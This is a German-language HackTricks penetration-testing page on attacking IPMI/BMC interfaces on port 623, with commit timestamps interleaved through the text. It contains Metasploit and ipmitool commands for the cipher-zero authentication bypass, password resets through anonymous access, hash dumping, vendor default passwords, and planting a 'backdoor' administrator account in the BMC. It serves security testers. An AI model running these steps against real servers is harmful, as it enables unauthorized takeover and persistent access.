hacktricks/network-services-pentesting/623-udp-ipmi.md

149 lines
11 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
2022-05-01 16:57:45 +00:00
## 623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-01-03 10:42:55 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Grundinformationen
2024-02-10 15:36:32 +00:00
### **Überblick über IPMI**
2022-10-02 21:10:53 +00:00
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** bietet einen standardisierten Ansatz für das Remote-Management und die Überwachung von Computersystemen, unabhängig vom Betriebssystem oder dem Stromzustand. Diese Technologie ermöglicht es Systemadministratoren, Systeme aus der Ferne zu verwalten, selbst wenn sie ausgeschaltet oder nicht ansprechbar sind, und ist besonders nützlich für:
2022-10-02 21:10:53 +00:00
- Pre-OS-Boot-Konfigurationen
- Verwaltung des Stromausfalls
- Wiederherstellung von Systemfehlern
2022-10-02 21:10:53 +00:00
IPMI ist in der Lage, Temperaturen, Spannungen, Lüftergeschwindigkeiten und Stromversorgungen zu überwachen, sowie Inventarinformationen bereitzustellen, Hardwareprotokolle zu überprüfen und Warnungen über SNMP zu senden. Für den Betrieb sind eine Stromquelle und eine LAN-Verbindung erforderlich.
2022-10-02 21:10:53 +00:00
Seit seiner Einführung durch Intel im Jahr 1998 wird IPMI von zahlreichen Anbietern unterstützt, was die Remote-Management-Funktionen verbessert, insbesondere mit der Unterstützung von Version 2.0 für serielle Verbindungen über LAN. Zu den Hauptkomponenten gehören:
- **Baseboard Management Controller (BMC):** Der Hauptmikrocontroller für IPMI-Operationen.
- **Kommunikationsbusse und -schnittstellen:** Für interne und externe Kommunikation, einschließlich ICMB, IPMB und verschiedener Schnittstellen für lokale und Netzwerkverbindungen.
2024-02-10 15:36:32 +00:00
- **IPMI-Speicher:** Zum Speichern von Protokollen und Daten.
2024-02-08 21:36:35 +00:00
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Standardport**: 623/UDP/TCP (Es läuft normalerweise über UDP, kann aber auch über TCP betrieben werden)
2022-05-01 16:57:45 +00:00
## Enumeration
2024-02-10 15:36:32 +00:00
### Entdeckung
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
Du kannst die **Version** mit folgendem Befehl **identifizieren**:
```bash
use auxiliary/scanner/ipmi/ipmi_version
2022-10-02 21:10:53 +00:00
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI-Sicherheitsanfälligkeiten
Im Bereich von IPMI 2.0 wurde von Dan Farmer eine bedeutende Sicherheitsanfälligkeit entdeckt, die eine Schwachstelle durch **Cipher-Typ 0** aufdeckte. Diese Schwachstelle, die detailliert in [Dan Farmers Forschung](http://fish2.com/ipmi/cipherzero.html) dokumentiert ist, ermöglicht unbefugten Zugriff mit jedem Passwort, sofern ein gültiger Benutzer ins Visier genommen wird. Diese Schwäche wurde bei verschiedenen BMCs von Herstellern wie HP, Dell und Supermicro gefunden, was auf ein weit verbreitetes Problem in allen IPMI 2.0-Implementierungen hindeutet.
### **IPMI-Authentifizierungsumgehung über Cipher 0**
2024-02-08 21:36:35 +00:00
2024-02-10 15:36:32 +00:00
Um diese Schwachstelle zu erkennen, kann der folgende Metasploit-Hilfsscanner verwendet werden:
2024-02-08 21:36:35 +00:00
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
Die Ausnutzung dieses Fehlers ist mit `ipmitool` möglich, wie unten gezeigt, was das Auflisten und Ändern von Benutzerpasswörtern ermöglicht:
```bash
2024-02-08 21:36:35 +00:00
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP-Authentifizierung Remote-Passwort-Hash-Abfrage**
Diese Schwachstelle ermöglicht die Abfrage von gesalzenen, gehashten Passwörtern (MD5 und SHA1) für jeden vorhandenen Benutzernamen. Um diese Schwachstelle zu testen, bietet Metasploit ein Modul an:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
2024-02-10 15:36:32 +00:00
### **IPMI Anonyme Authentifizierung**
Eine Standardkonfiguration in vielen BMCs ermöglicht den "anonymen" Zugriff, der durch leere Benutzername- und Passwortzeichenfolgen gekennzeichnet ist. Diese Konfiguration kann ausgenutzt werden, um die Passwörter von benannten Benutzerkonten mit `ipmitool` zurückzusetzen:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
2024-02-08 21:36:35 +00:00
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
2024-02-10 15:36:32 +00:00
### **Supermicro IPMI Klartext-Passwörter**
Eine kritische Designentscheidung in IPMI 2.0 erfordert die Speicherung von Klartext-Passwörtern innerhalb von BMCs zu Authentifizierungszwecken. Die Speicherung dieser Passwörter durch Supermicro an Orten wie `/nv/PSBlock` oder `/nv/PSStore` wirft erhebliche Sicherheitsbedenken auf:
```bash
2024-02-08 21:36:35 +00:00
cat /nv/PSBlock
```
### **Supermicro IPMI UPnP Verwundbarkeit**
Die Einbeziehung eines UPnP SSDP-Listeners in die IPMI-Firmware von Supermicro, insbesondere auf UDP-Port 1900, stellt ein erhebliches Sicherheitsrisiko dar. Verwundbarkeiten im Intel SDK für UPnP-Geräte Version 1.3.1, wie in [Rapid7s Offenlegung](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) beschrieben, ermöglichen den Root-Zugriff auf das BMC:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
2024-02-08 21:36:35 +00:00
### Brute Force
**HP randomisiert das Standardpasswort** für sein **Integrated Lights Out (iLO)** Produkt während der Herstellung. Diese Praxis steht im Gegensatz zu anderen Herstellern, die dazu neigen, **statische Standardanmeldeinformationen** zu verwenden. Eine Zusammenfassung der Standardbenutzernamen und -passwörter für verschiedene Produkte ist wie folgt:
- **HP Integrated Lights Out (iLO)** verwendet eine **fabrikmäßig randomisierte 8-Zeichen-Zeichenfolge** als Standardpasswort, was ein höheres Sicherheitsniveau zeigt.
- Produkte wie **Dells iDRAC, IBMs IMM** und **Fujitsus Integrated Remote Management Controller** verwenden leicht zu erratende Passwörter wie "calvin", "PASSW0RD" (mit einer Null) und "admin".
- Ebenso verwenden **Supermicro IPMI (2.0), Oracle/Sun ILOM** und **ASUS iKVM BMC** ebenfalls einfache Standardanmeldeinformationen, wobei "ADMIN", "changeme" und "admin" als ihre Passwörter dienen.
## Accessing the Host via BMC
Der administrative Zugriff auf den Baseboard Management Controller (BMC) eröffnet verschiedene Wege, um auf das Betriebssystem des Hosts zuzugreifen. Ein einfacher Ansatz besteht darin, die KVM-Funktionalität des BMC auszunutzen. Dies kann entweder durch einen Neustart des Hosts zu einer Root-Shell über GRUB (unter Verwendung von `init=/bin/sh`) oder durch das Booten von einer virtuellen CD-ROM, die als Rettungsdiskette festgelegt ist, erfolgen. Solche Methoden ermöglichen eine direkte Manipulation der Festplatte des Hosts, einschließlich der Einfügung von Backdoors, Datenextraktion oder anderer notwendiger Maßnahmen für eine Sicherheitsbewertung. Dies erfordert jedoch einen Neustart des Hosts, was ein erhebliches Manko darstellt. Ohne Neustart ist der Zugriff auf den laufenden Host komplexer und variiert je nach Konfiguration des Hosts. Wenn die physische oder serielle Konsole des Hosts angemeldet bleibt, kann sie leicht über die KVM- oder Serial-over-LAN (sol) Funktionen des BMC über `ipmitool` übernommen werden. Die Erforschung der Ausnutzung gemeinsamer Hardware-Ressourcen, wie dem i2c-Bus und dem Super I/O-Chip, ist ein Bereich, der weitere Untersuchungen erfordert.
## Introducing Backdoors into BMC from the Host
Nach der Kompromittierung eines Hosts, der mit einem BMC ausgestattet ist, kann die **lokale BMC-Schnittstelle genutzt werden, um ein Backdoor-Benutzerkonto einzufügen**, was eine dauerhafte Präsenz auf dem Server schafft. Dieser Angriff erfordert das Vorhandensein von **`ipmitool`** auf dem kompromittierten Host und die Aktivierung der BMC-Treiberunterstützung. Die folgenden Befehle veranschaulichen, wie ein neues Benutzerkonto in das BMC über die lokale Schnittstelle des Hosts injiziert werden kann, was die Notwendigkeit einer Authentifizierung umgeht. Diese Technik ist auf eine Vielzahl von Betriebssystemen anwendbar, einschließlich Linux, Windows, BSD und sogar DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
2022-05-01 16:57:45 +00:00
## Shodan
2020-10-05 13:04:03 +00:00
* `port:623`
2022-04-28 16:01:33 +00:00
## References
2022-10-02 21:10:53 +00:00
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Unterstützen Sie HackTricks</summary>
2024-01-03 10:42:55 +00:00
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}